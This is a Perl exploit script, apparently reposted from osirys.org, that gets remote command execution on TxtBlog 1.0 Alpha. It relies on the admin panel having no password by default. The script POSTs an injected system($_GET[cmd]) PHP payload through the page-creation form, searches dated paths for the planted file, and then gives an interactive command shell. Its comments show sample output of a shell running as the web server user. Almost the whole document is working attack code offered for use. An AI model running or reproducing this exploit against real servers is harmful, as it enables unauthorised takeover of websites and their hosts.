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TxtBlog 1.0 Alpha Remote Command Execution Exploit
来源:osirys.org 作者:Osirys 发布时间:2009-02-04  
#!/usr/bin/perl

# -----------------------------------------------------------------------------
#                      INFORMATIONS
# -----------------------------------------------------------------------------

# App   => TxtBlog v 1.0 Alpha
# Downl => http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip

# Remote Command Execution Exploit
# by Osirys
# osirys[at]autistici[dot]org
# osirys.org

# I wrote this simple RCE exploit, just becouse by default the blog
# administration password is disabled. So, from admin panel, we can
# create .php files.

# Tested with: Magic Quotes => Off

# ------------------------------------------------------------------
# Exploit in action [>!]
# ------------------------------------------------------------------
# osirys[~]>$ perl rce_bleah.txt http://localhost/txtblogcms-1.0a/

#   ---------------------------
#      TxtBlog RCE Exploit
#            by Osirys
#   ---------------------------

# [+] Creating RCE file ..
# [+] RCE Created !
# [+] File found !
# [+] Hi my master, do your job now [!]

# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> whoami
# apache
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>
# ------------------------------------------------------------------

use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;

my $adm_path  =  "/admin/index.php";
my $rce_crea  =  $adm_path."?page=create";
my $host      =  $ARGV[0];


($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

my $url = $host.$adm_path;
my $test = get_req($url);

if ($re !~ /Welcome to the administration/) {
    my $url = $path.$rce_crea;
    my $code = "title=new+page&blog=%27%3B+%20echo+%22Osirys%3Cbr%3E%22;+system%28%24_GET%5Bcmd%5D%29%3B+%24a+%3D+%27&location=&Submit=Save";
    my $length = length($code);
    my $data = "POST ".$url." HTTP/1.1\r\n".
               "Host: ".$h0st."\r\n".
               "Keep-Alive: 300\r\n".
               "Connection: keep-alive\r\n".
               "Content-Type: application/x-www-form-urlencoded\r\n".
               "Content-Length: ".$length."\r\n\r\n".
               $code."\r\n";

    my $socket   =  new IO::Socket::INET(
                                          PeerAddr => $h0st,
                                          PeerPort => '80',
                                          Proto    => 'tcp',
                                        ) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

    print "[+] Creating RCE file ..\n";
    $socket->send($data);

    while ((my $e = <$socket>)&&($own != 1)) {
        if ($e =~ /Your new blog has been saved/) {
            $own = 1;
            print "[+] RCE Created ! \n";
        }
    }
    $own == 1 || die "[-] Can't write new file\n";

    $mfile = &find_file;
    print "[+] Hi my master, do your job now [!]\n\n";
    &exec_cmd;

}
else {
    print "[-] Administration requires password !\n";
    exit(0);
}

sub find_file {
    my $year = (localtime)[5] + 1900;
    my $month = (localtime)[4];
    my $day   = (localtime)[3];
    if ($month =~ /[0-9]{1}/) { $month =~ s/([0-9]{1})/0$1/; }
    if ($day =~ /[0-9]{1}/) { $day =~ s/([0-9]{1})/0$1/; }
    for ($i = 0;$i <= 15; $i++) {
        my $url = $host."/data/".$year."/".$month."/".$day."-".$i.".php";
        my $re = get_req($url);
        if ($re =~ /Osirys<br>/) {
            $g0t = 1;
            print "[+] File found !\n";
            $file_path = $url;
            return($file_path);
        }
    }
    if ($g0t != 1) {
        print "[-] Can't find evil file !\n";
        exit(0);
    }
}

sub exec_cmd {
    my @outs;
    $h0st !~ /www\./ || $h0st =~ s/www\.//;
    print "shell[$h0st]\$> ";
    $cmd = <STDIN>;
    $cmd !~ /exit/ || die "[-] Quitting ..\n";
    $exec_url = $mfile."?cmd=".$cmd;
    $re = get_req($exec_url);
    if ($re =~ /Osirys<br>(.)/) {
        push(@outs,$re);
        foreach my $o(@outs) {
            $o =~ s/Osirys<br>//;
            print "$o";
        }
        &exec_cmd;
    }
    else {
        $c++;
        $cmd =~ s/\n//;
        print "bash: ".$cmd.": command not found\n";
        $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
        &exec_cmd;
    }
}

sub get_req() {
    $link = $_[0];
    my $req = HTTP::Request->new(GET => $link);
    my $ua = LWP::UserAgent->new();
    $ua->timeout(4);
    my $response = $ua->request($req);
    return $response->content;
}

sub cheek() {
    my $host = $_[0];
    if ($host =~ /http:\/\/(.*)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub get_input() {
    my $host = $_[0];
    $host =~ /http:\/\/(.*)/;
    $s_host = $1;
    $s_host =~ /([a-z.-]{1,30})\/(.*)/;
    ($h0st,$path) = ($1,$2);
    $path =~ s/(.*)/\/$1/;
    $full_det = $h0st." ".$path;
    return $full_det;
}

sub banner {
    print "\n".
          "  --------------------------- \n".
          "     TxtBlog RCE Exploit      \n".
          "           by Osirys          \n".
          "  --------------------------- \n\n";
}

sub help() {
    my $error = $_[0];
    if ($error == -1) {
        &banner;
        print "\n[-] Bad hostname! \n";
    }
    elsif ($error == -2) {
        &banner;
        print "\n[-] Bad hostname address !\n";
    }
    print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
    exit(0);
}


 
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